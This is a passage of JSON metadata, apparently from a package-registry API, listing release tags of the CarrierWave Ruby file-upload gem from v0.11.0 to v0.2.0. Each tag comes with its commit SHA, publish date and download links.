e/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798ba10841c929bc1","kind":"commit","published_at":"2010-09-23T16:27:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0/manifests"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveup